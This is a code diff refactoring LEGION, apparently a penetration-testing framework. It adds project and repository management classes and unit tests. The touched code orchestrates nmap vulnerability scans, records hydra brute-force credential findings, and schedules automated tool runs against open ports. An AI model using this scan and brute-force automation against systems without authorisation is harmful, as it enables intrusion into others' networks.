-702,8 +719,9 @@ def runPython(self): def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): log.info("runStagedNmap called for stage {0}".format(str(stage))) if not stop: - textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage '+str(stage)+')', True) - outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) + textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) + outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmapstage' + str( + stage) if stage == 1: # webservers/proxies ports = self.settings.tools_nmap_stage1_ports @@ -732,42 +750,53 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): command += '-p ' + ports + ' ' + targetHosts + ' -oA ' + outputfile else: command = 'nmap -sV --script=./scripts/nmap/vulners.nse -vvvv ' + targetHosts + ' -oA ' + outputfile - + self.runCommand('nmap','nmap (stage '+str(stage)+')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) def importFinished(self): self.updateUI2Timer.stop() - self.updateUI2Timer.start(800) + self.updateUI2Timer.start(800) self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) def screenshotFinished(self, ip, port, filename): - dbId = self.logic.processRepository.storeScreenshot(str(ip), str(port), str(filename)) - imageviewer = self.view.createNewTabForHost(ip, 'screenshot ('+port+'/tcp)', True, '', str(self.logic.outputfolder)+'/screenshots/'+str(filename)) + dbId = self.logic.activeProject.repositoryContainer.processRepository.storeScreenshot(str(ip), str(port), + str(filename)) + imageviewer = self.view.createNewTabForHost(ip, 'screenshot (' + port + '/tcp)', True, '', + str( + self.logic.activeProject.properties.outputFolder) + '/screenshots/' + str( + filename)) imageviewer.setProperty('dbId', QVariant(str(dbId))) self.view.switchTabClick() # to make sure the screenshot tab appears when it is launched from the host services tab self.updateUITimer.stop() # update the processes table self.updateUITimer.start(900) def processCrashed(self, proc): - self.logic.processRepository.storeProcessCrashStatus(str(proc.id)) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessCrashStatus(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) - qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") - #self.view.closeHostToolTab(self, index)) - self.view.findFinishedServiceTab(str(self.logic.processRepository.getPIDByProcessId(str(proc.id)))) - log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n', '').replace("b'", "") + # self.view.closeHostToolTab(self, index)) + self.view.findFinishedServiceTab( + str(self.logic.activeProject.repositoryContainer.processRepository.getPIDByProcessId(str(proc.id)))) + log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), + qProcessOutput=qProcessOutput)) # this function handles everything after a process ends - #def processFinished(self, qProcess, crashed=False): + # def processFinished(self, qProcess, crashed=False): def processFinished(self, qProcess): try: - if not self.logic.processRepository.isKilledProcess(str(qProcess.id)): # if process was not killed + if not self.logic.activeProject.repositoryContainer.processRepository.isKilledProcess( + str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': - self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file + # move tool output from runningfolder to output folder if there was an output file + self.logic.toolCoordinator.saveToolOutput(self.logic.activeProject.properties.outputFolder, + qProcess.outputfile) print(qProcess.command) - if 'nmap' in qProcess.command : # if the process was nmap, use the parser to store it - if qProcess.exitCode() == 0: # if the process finished successfully - newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) - self.nmapImporter.setFilename(str(newoutputfile)+'.xml') + if 'nmap' in qProcess.command: # if the process was nmap, use the parser to store it + if qProcess.exitCode() == 0: # if the process finished successfully + newoutputfile = qProcess.outputfile.replace( + self.logic.activeProject.properties.runningFolder, + self.logic.activeProject.properties.outputFolder) + self.nmapImporter.setFilename(str(newoutputfile) + '.xml') self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) self.nmapImporter.start() elif 'PythonScript' in qProcess.command: @@ -782,13 +811,15 @@ def processFinished(self, qProcess): if exitCode != 0 and exitCode != 255: log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) - + log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) - self.logic.processRepository.storeProcessOutput(str(qProcess.id), qProcess.display.toPlainText()) - - if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI - self.view.findFinishedBruteTab(str(self.logic.processRepository.getPIDByProcessId(str(qProcess.id)))) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessOutput(str(qProcess.id), + qProcess.display.toPlainText()) + + if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI + self.view.findFinishedBruteTab(str( + self.logic.activeProject.repositoryContainer.processRepository.getPIDByProcessId(str(qProcess.id)))) try: self.fastProcessesRunning =- 1 @@ -796,7 +827,7 @@ def processFinished(self, qProcess): self.processes.remove(qProcess) self.updateUITimer.stop() self.updateUITimer.start(1000) # update the interface soon - + except Exception as e: log.info("Process Finished Cleanup Exception {e}".format(e=e)) except Exception as e: # fixes bug when receiving finished signal when project is no longer open. @@ -806,9 +837,9 @@ def processFinished(self, qProcess): def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red self.view.blinkBruteTab(bWidget) for username in userlist: - self.logic.usernamesWordlist.add(username) + self.logic.activeProject.properties.usernamesWordList.add(username) for password in passlist: - self.logic.passwordsWordlist.add(password) + self.logic.activeProject.properties.passwordWordList.add(password) # this function parses nmap's output looking for open ports to run automated attacks on def scheduler(self, parser, isNmapImport): @@ -816,14 +847,14 @@ def scheduler(self, parser, isNmapImport): return if self.settings.general_enable_scheduler == 'True': log.info('Scheduler started!') - + for h in parser.getAllHosts(): for p in h.all_ports(): if p.state == 'open': s = p.getService() if not (s is None): self.runToolsFor(s.name, h.ip, p.portId, p.protocol) - + log.info('-----------------------------------------------') log.info('Scheduler ended!') @@ -841,13 +872,16 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): self.screenshooter.start() else: - for a in self.settings.portActions: + for a in self.settings.portActions: if tool[0] == a[1]: restoring = False - tabTitle = a[1]+" ("+port+"/"+protocol+")" - outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port + tabTitle = a[1] + " (" + port + "/" + protocol + ")" + outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub( + "[^0-9a-zA-Z]", "", str(tool[0])) + "/" + getTimestamp() + '-' + a[ + 1] + "-" + ip + "-" + port command = str(a[2]) - command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) + command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', + outputfile) log.debug("Running tool command " + str(command)) if 'nmap' in tabTitle: # we don't want to show nmap tabs @@ -855,7 +889,9 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): elif 'python-script' in tabTitle: restoring = True - tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) - self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) + tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) + self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), + outputfile, + self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) break diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py new file mode 100644 index 00000000..93e7b5d7 --- /dev/null +++ b/db/RepositoryContainer.py @@ -0,0 +1,36 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from typing import NamedTuple + +from db.repositories.CVERepository import CVERepository +from db.repositories.HostRepository import HostRepository +from db.repositories.NoteRepository import NoteRepository +from db.repositories.PortRepository import PortRepository +from db.repositories.ProcessRepository import ProcessRepository +from db.repositories.ScriptRepository import ScriptRepository +from db.repositories.ServiceRepository import ServiceRepository + + +class RepositoryContainer(NamedTuple): + serviceRepository: ServiceRepository + processRepository: ProcessRepository + hostRepository: HostRepository + portRepository: PortRepository + cveRepository: CVERepository + noteRepository: NoteRepository + scriptRepository: ScriptRepository diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py new file mode 100644 index 00000000..5f40fce3 --- /dev/null +++ b/db/RepositoryFactory.py @@ -0,0 +1,42 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from db.RepositoryContainer import RepositoryContainer +from db.database import Database +from db.repositories.CVERepository import CVERepository +from db.repositories.HostRepository import HostRepository +from db.repositories.NoteRepository import NoteRepository +from db.repositories.PortRepository import PortRepository +from db.repositories.ProcessRepository import ProcessRepository +from db.repositories.ScriptRepository import ScriptRepository +from db.repositories.ServiceRepository import ServiceRepository + + +class RepositoryFactory: + def __init__(self, logger): + self.logger = logger + + def buildRepositories(self, database: Database) -> RepositoryContainer: + hostRepository = HostRepository(database) + processRepository = ProcessRepository(database, self.logger) + serviceRepository = ServiceRepository(database) + portRepository: PortRepository = PortRepository(database) + cveRepository: CVERepository = CVERepository(database) + noteRepository: NoteRepository = NoteRepository(database, self.logger) + scriptRepository: ScriptRepository = ScriptRepository(database) + return RepositoryContainer(serviceRepository, processRepository, hostRepository, + portRepository, cveRepository, noteRepository, scriptRepository) diff --git a/db/database.py b/db/database.py index efb86aba..7d85ebee 100644 --- a/db/database.py +++ b/db/database.py @@ -59,11 +59,11 @@ def establishSqliteConnection(self, dbFileName: str): def commit(self): self.dbsemaphore.acquire() - log.info("DB lock acquired") + log.debug("DB lock acquired") try: session = self.session() rnd = float(randint(1, 99)) / 100.00 - log.info("Waiting {0}s before commit...".format(str(rnd))) + log.debug("Waiting {0}s before commit...".format(str(rnd))) time.sleep(rnd) session.commit() except Exception as e: @@ -72,11 +72,11 @@ def commit(self): try: rnd = float(randint(1, 99)) / 100.00 time.sleep(rnd) - log.info("Waiting {0}s before commit...".format(str(rnd))) + log.debug("Waiting {0}s before commit...".format(str(rnd))) session.commit() except Exception as e: log.error("DB Commit issue on retry") log.error(str(e)) pass self.dbsemaphore.release() - log.info("DB lock released") + log.debug("DB lock released") diff --git a/legion.py b/legion.py index d8a530c1..a7270dc1 100644 --- a/legion.py +++ b/legion.py @@ -14,10 +14,11 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . """ - +from app.ProjectManager import ProjectManager from app.shell.DefaultShell import DefaultShell +from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter +from db.RepositoryFactory import RepositoryFactory from ui.eventfilter import MyEventFilter -from ui.gui import Ui_MainWindow from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") @@ -86,19 +87,20 @@ MainWindow.setStyleSheet(qss_file) shell = DefaultShell() - tf = shell.create_named_temporary_file(suffix=".legion", - prefix="legion-", - directory="./tmp/", - delete_on_close=False) # to store the db file - - db = Database(tf.name) - hostRepository = HostRepository(db) + repositoryFactory = RepositoryFactory(log) + projectManager = ProjectManager(shell, repositoryFactory, log) + nmapExporter = DefaultNmapExporter(shell) + toolCoordinator = ToolCoordinator(shell, nmapExporter) # Model prep (logic, db and models) - logic = Logic(project_name=tf.name, db=db, shell=shell, hostRepository=hostRepository) + logic = Logic(shell, projectManager, toolCoordinator) + + log.info("Creating temporary project at application start...") + logic.createNewTemporaryProject() + viewState = ViewState() view = View(viewState, ui, MainWindow, shell) # View prep (gui) - controller = Controller(view, logic, hostRepository) # Controller prep (communication between model and view) + controller = Controller(view, logic) # Controller prep (communication between model and view) view.qss = qss_file myFilter = MyEventFilter(view, MainWindow) # to capture events diff --git a/parsers/Host.py b/parsers/Host.py index 350775bd..b8d06f3b 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -1,4 +1,5 @@ #!/usr/bin/python +from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/OS.py b/parsers/OS.py index 01808ac2..fa9b44c6 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -1,4 +1,5 @@ #!/usr/bin/python +from app.logging.legionLog import log __author__ = 'ketchup' __version__= '0.1' diff --git a/parsers/Parser.py b/parsers/Parser.py index bc050e60..b48c39b7 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -1,6 +1,8 @@ #!/usr/bin/python '''this module used to parse nmap xml report''' +from app.logging.legionLog import log + __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' __modified_by = 'ketchup' diff --git a/parsers/Service.py b/parsers/Service.py index 91ce989d..af2e880a 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -1,4 +1,5 @@ #!/usr/bin/python +from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/Session.py b/parsers/Session.py index f09b5fc6..25e943c0 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -1,4 +1,5 @@ #!/usr/bin/python +from app.logging.legionLog import log __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py new file mode 100644 index 00000000..c45f041e --- /dev/null +++ b/tests/app/test_ProjectManager.py @@ -0,0 +1,136 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest import mock +from unittest.mock import MagicMock, patch + +from app.Project import Project + + +class ProjectManagerTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + @patch('db.repositories.HostRepository') + @patch('app.auxiliary.Wordlist') + @patch('db.database.Database') + def setUp(self, getLogger, hostRepository, wordlist, database) -> None: + from app.ProjectManager import ProjectManager + self.mockShell = MagicMock() + self.mockRepositoryFactory = MagicMock() + self.project = MagicMock() + self.mockDatabase = database + self.projectManager = ProjectManager(self.mockShell, self.mockRepositoryFactory, getLogger) + + def test_createNewProject_WhenProvidedProjectDetails_ReturnsANewProject(self): + projectType = "legion" + isTemporary = True + self.mockDatabase.name = "newTemporaryProject" + self.mockShell.get_current_working_directory.return_value = "workingDir/" + self.mockShell.create_temporary_directory.side_effect = ["/outputFolder", "/runningFolder"] + + project = self.projectManager.createNewProject(projectType, isTemporary) + self.mockShell.create_named_temporary_file.assert_called_once_with( + suffix=".legion", prefix="legion-", directory="./tmp/", delete_on_close=False + ) + self.mockShell.create_temporary_directory.assert_has_calls([ + mock.call(prefix="legion-", suffix="-tool-output", directory="./tmp/"), + mock.call(prefix="legion-", suffix="-running", directory="./tmp/"), + ]) + self.mockShell.create_directory_recursively.assert_has_calls([ + mock.call("/outputFolder/screenshots"), + mock.call("/runningFolder/nmap"), + mock.call("/runningFolder/hydra"), + mock.call("/runningFolder/dnsmap"), + ]) + self.assertIsNotNone(project.properties.projectName) + self.assertEqual(project.properties.projectType, "legion") + self.assertEqual(project.properties.workingDirectory, "workingDir/") + self.assertEqual(project.properties.isTemporary, True) + self.assertEqual(project.properties.outputFolder, "/outputFolder") + self.assertEqual(project.properties.runningFolder, "/runningFolder") + self.assertEqual(project.properties.storeWordListsOnExit, True) + self.mockRepositoryFactory.buildRepositories.assert_called_once_with(mock.ANY) + + def test_closeProject_WhenProvidedAnOpenTemporaryProject_ClosesTheProject(self): + self.project.properties.isTemporary = True + self.project.properties.storeWordListsOnExit = True + self.project.properties.projectName = "project-name" + self.project.properties.runningFolder = "./running/folder" + self.project.properties.outputFolder = "./output/folder" + + self.projectManager.closeProject(self.project) + self.mockShell.remove_file.assert_called_once_with("project-name") + self.mockShell.remove_directory.assert_has_calls([mock.call("./output/folder"), mock.call("./running/folder")]) + + def test_closeProject_WhenProvidedAnOpenNonTemporaryProject_ClosesTheProject(self): + self.project.properties.isTemporary = False + self.project.properties.storeWordListsOnExit = False + self.project.properties.runningFolder = "./running/folder" + self.project.properties.usernamesWordList = MagicMock() + self.project.properties.usernamesWordList.filename = "UsernamesList.txt" + self.project.properties.passwordWordList = MagicMock() + self.project.properties.passwordWordList.filename = "PasswordsList.txt" + + self.projectManager.closeProject(self.project) + self.mockShell.remove_file.assert_has_calls([mock.call("UsernamesList.txt"), mock.call("PasswordsList.txt")]) + self.mockShell.remove_directory.assert_called_once_with("./running/folder") + + def test_openExistingProject_WhenProvidedProjectNameAndType_OpensAnExistingProjectSuccessfully(self): + from app.Project import Project + + projectName = "some-existing-project" + self.mockShell.create_temporary_directory.return_value = "/running/folder" + openedExistingProject: Project = self.projectManager.openExistingProject(projectName, "legion") + self.assertFalse(openedExistingProject.properties.isTemporary) + self.assertEqual(openedExistingProject.properties.projectName, "some-existing-project") + self.assertEqual(openedExistingProject.properties.workingDirectory, "/") + self.assertEqual(openedExistingProject.properties.projectType, "legion") + self.assertFalse(openedExistingProject.properties.isTemporary) + self.assertEqual(openedExistingProject.properties.outputFolder, "some-existing-project-tool-output") + self.assertEqual(openedExistingProject.properties.runningFolder, "/running/folder") + self.assertIsNotNone(openedExistingProject.properties.usernamesWordList) + self.assertIsNotNone(openedExistingProject.properties.passwordWordList) + self.assertTrue(openedExistingProject.properties.storeWordListsOnExit) + self.mockShell.create_temporary_directory.assert_called_once_with(suffix="-running", prefix="legion-", + directory="./tmp/") + self.mockRepositoryFactory.buildRepositories.assert_called_once() + + @patch('os.system') + def test_saveProjectAs_WhenProvidedAnActiveTemporaryProjectAndASaveFileName_SavesProjectSuccessfully(self, + osSystem): + expectedFileName = "my-test-project" + self.project.properties.projectName = "some-running-temporary-project" + self.project.properties.outputFolder = "some-temporary-output-folder" + self.project.properties.isTemporary = True + self.mockShell.directoryOrFileExists.return_value = False + + savedProject: Project = self.projectManager.saveProjectAs(self.project, expectedFileName, replace=1, + projectType="legion") + self.mockShell.copy.assert_called_once_with(source="some-running-temporary-project", + destination="my-test-project.legion") + osSystem.assert_called_once() + self.mockShell.remove_file.assert_called_once_with("some-running-temporary-project") + self.mockShell.remove_directory.assert_called_once_with("some-temporary-output-folder") + self.assertEqual(savedProject.properties.projectName, "my-test-project.legion") + self.assertEqual(savedProject.properties.projectType, "legion") + + @patch('os.system') + def test_saveProjectAs_WhenReplaceFlagIsFalse_DoesNotSaveProject(self, osSystem): + self.projectManager.saveProjectAs(self.project, "some-project-that-cannot-be-replaced", replace=0, + projectType="legion") + self.mockShell.copy.assert_not_called() + osSystem.assert_not_called() diff --git a/tests/app/test_logic.py b/tests/app/test_logic.py deleted file mode 100644 index d8d5ae3d..00000000 --- a/tests/app/test_logic.py +++ /dev/null @@ -1,74 +0,0 @@ -""" -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. - - You should have received a copy of the GNU General Public License along with this program. - If not, see . - -Author(s): Dmitriy Dubson (d.dubson@gmail.com) -""" -import unittest -from unittest import mock -from unittest.mock import MagicMock, patch - - -class LogicTest(unittest.TestCase): - @patch('utilities.stenoLogging.get_logger') - @patch('db.repositories.HostRepository') - def setUp(self, get_logger, hostRepository) -> None: - self.shell = MagicMock() - self.hostRepository = hostRepository - self.mock_db_session = MagicMock() - - def test_init_ShouldLoadInitialVariablesSuccessfully(self): - from app.logic import Logic - - self.shell.get_current_working_directory.return_value = "./some/path/" - self.shell.create_temporary_directory.side_effect = ["./output/folder", "./running/folder"] - logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) - - self.assertEqual("./some/path/", logic.cwd) - self.assertTrue(logic.istemp) - self.shell.create_directory_recursively.assert_has_calls([ - mock.call("./output/folder/screenshots"), - mock.call("./running/folder/nmap"), - mock.call("./running/folder/hydra"), - mock.call("./running/folder/dnsmap"), - ]) - - def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_shouldRemoveWordListsAndRunningFolder( - self): - from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) - logic.setStoreWordlistsOnExit(False) - logic.istemp = False - logic.runningfolder = "./running/folder" - logic.usernamesWordlist = MagicMock() - logic.usernamesWordlist.filename = "UsernamesList.txt" - logic.passwordsWordlist = MagicMock() - logic.passwordsWordlist.filename = "PasswordsList.txt" - logic.removeTemporaryFiles() - - self.shell.remove_file.assert_has_calls([mock.call("UsernamesList.txt"), mock.call("PasswordsList.txt")]) - self.shell.remove_directory.assert_called_once_with("./running/folder") - - def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutputFolderAndRunningFolder( - self): - from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) - logic.istemp = True - logic.projectname = "project-name" - logic.runningfolder = "./running/folder" - logic.outputfolder = "./output/folder" - logic.removeTemporaryFiles() - - self.shell.remove_file.assert_called_once_with("project-name") - self.shell.remove_directory.assert_has_calls([mock.call("./output/folder"), mock.call("./running/folder")]) diff --git a/tests/app/tools/__init__.py b/tests/app/tools/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/tools/nmap/__init__.py b/tests/app/tools/nmap/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py new file mode 100644 index 00000000..aeb71cde --- /dev/null +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -0,0 +1,45 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import MagicMock, patch + + +class DefaultNmapExporterTest(unittest.TestCase): + @patch("app.logging.legionLog.log") + def setUp(self, legionLog) -> None: + from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter + self.mockShell = MagicMock() + self.log = legionLog + self.nmapExporter = DefaultNmapExporter(self.mockShell) + + @patch("subprocess.Popen") + def test_exportOutputToHtml_WhenProvidedFileNameAndOutputFolder_ExportsOutputSuccessfully(self, processOpen): + exportCommand = f"xsltproc -o some-file.html some-file.xml" + self.nmapExporter.exportOutputToHtml("some-file", "some-folder/") + processOpen.assert_called_once_with(exportCommand, shell=True) + self.mockShell.move.assert_called_once_with("some-file.html", "some-folder/") + + @patch("subprocess.Popen") + def test_exportOutputToHtml_WhenExportFailsDueToProcessError_DoesNotMoveAnyFilesToOutputFolder(self, processOpen): + exportCommand = f"xsltproc -o some-bad-file.html some-bad-file.xml" + processOpen.side_effect = Exception("something went wrong") + self.nmapExporter.exportOutputToHtml("some-bad-file", "some-folder/") + processOpen.assert_called_once_with(exportCommand, shell=True) + self.mockShell.move.assert_not_called() + self.log.error.assert_called() + diff --git a/tests/app/tools/nmap/test_NmapHelpers.py b/tests/app/tools/nmap/test_NmapHelpers.py new file mode 100644 index 00000000..c8d7f894 --- /dev/null +++ b/tests/app/tools/nmap/test_NmapHelpers.py @@ -0,0 +1,42 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import MagicMock + +from app.tools.nmap.NmapHelpers import nmapFileExists + + +class NmapHelpersTest(unittest.TestCase): + def setUp(self) -> None: + self.mockShell = MagicMock() + + def test_nmapFileExists_WhenNecessaryNmapFilesExistOnFilesystem_ReturnsTrue(self): + def makeAllNecessaryNmapFilesExist(): + self.mockShell.directoryOrFileExists.side_effect = [True, True, True] + self.mockShell.isFile.side_effect = [True, True, True] + + makeAllNecessaryNmapFilesExist() + self.assertTrue(nmapFileExists(self.mockShell, "some-nmap-session")) + + def test_nmapFileExists_WhenAtLeastOneNmapFileDoesNotExist_ReturnsFalse(self): + def makeAtLeastOneNmapFileNotPresent(): + self.mockShell.directoryOrFileExists.side_effect = [True, True, True] + self.mockShell.isFile.side_effect = [True, True, False] + + makeAtLeastOneNmapFileNotPresent() + self.assertFalse(nmapFileExists(self.mockShell, "some-nmap-session")) diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py new file mode 100644 index 00000000..cc5136e0 --- /dev/null +++ b/tests/app/tools/test_ToolCoordinator.py @@ -0,0 +1,90 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest import mock +from unittest.mock import MagicMock, patch + + +class ToolCoordinatorTest(unittest.TestCase): + @patch("app.tools.nmap.NmapHelpers.nmapFileExists") + def setUp(self, nmapFileExists) -> None: + from app.tools.ToolCoordinator import ToolCoordinator + self.mockShell = MagicMock() + self.mockNmapExporter = MagicMock() + self.nmapFileExists = nmapFileExists + self.outputFolder = "some-output-folder" + self.toolCoordinator = ToolCoordinator(self.mockShell, self.mockNmapExporter) + + @patch("ntpath.dirname") + @patch("ntpath.basename") + def test_saveToolOutput_WhenGivenProjectOutputFolderAndNmapFileNameToSaveOutputIn_SavesOutputSuccessfully(self, + basename, + dirname): + fileName = "some-output-nmap-file" + + basename.return_value = "nmap" + self.mockShell.directoryOrFileExists.side_effect = [True, False, True, True, True] + self.nmapFileExists.return_value = True + + self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) + self.mockNmapExporter.exportOutputToHtml.assert_called_once_with("some-output-nmap-file", + "some-output-folder/nmap") + self.mockShell.move.assert_has_calls([ + mock.call("some-output-nmap-file.xml", "some-output-folder/nmap"), + mock.call("some-output-nmap-file.nmap", "some-output-folder/nmap"), + mock.call("some-output-nmap-file.gnmap", "some-output-folder/nmap"), + ]) + + @patch("ntpath.dirname") + @patch("ntpath.basename") + def test_saveToolOutput_WhenGivenProjectOutputFolderAndGenericFileNameToSaveOutputIn_SavesOutputSuccessfully(self, + basename, + dirname): + fileName = "some-output-file" + basename.return_value = "some-tool" + self.mockShell.directoryOrFileExists.side_effect = [False, True] + self.mockShell.isFile.return_value = True + + self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) + self.mockShell.move.assert_called_once_with("some-output-file", "some-output-folder/some-tool") + + @patch("ntpath.dirname") + @patch("ntpath.basename") + def test_saveToolOutput_WhenGivenProjectOutputFolderAndXmlFileNameToSaveOutputIn_SavesOutputSuccessfully(self, + basename, + dirname): + fileName = "some-output-xml-file" + basename.return_value = "some-tool" + self.mockShell.directoryOrFileExists.side_effect = [False, False, False, True] + self.mockShell.isFile.return_value = True + + self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) + self.mockShell.move.assert_called_once_with("some-output-xml-file.xml", "some-output-folder/some-tool") + + @patch("ntpath.dirname") + @patch("ntpath.basename") + def test_saveToolOutput_WhenGivenProjectOutputFolderAndTxtFileNameToSaveOutputIn_SavesOutputSuccessfully(self, + basename, + dirname): + fileName = "some-output-txt-file" 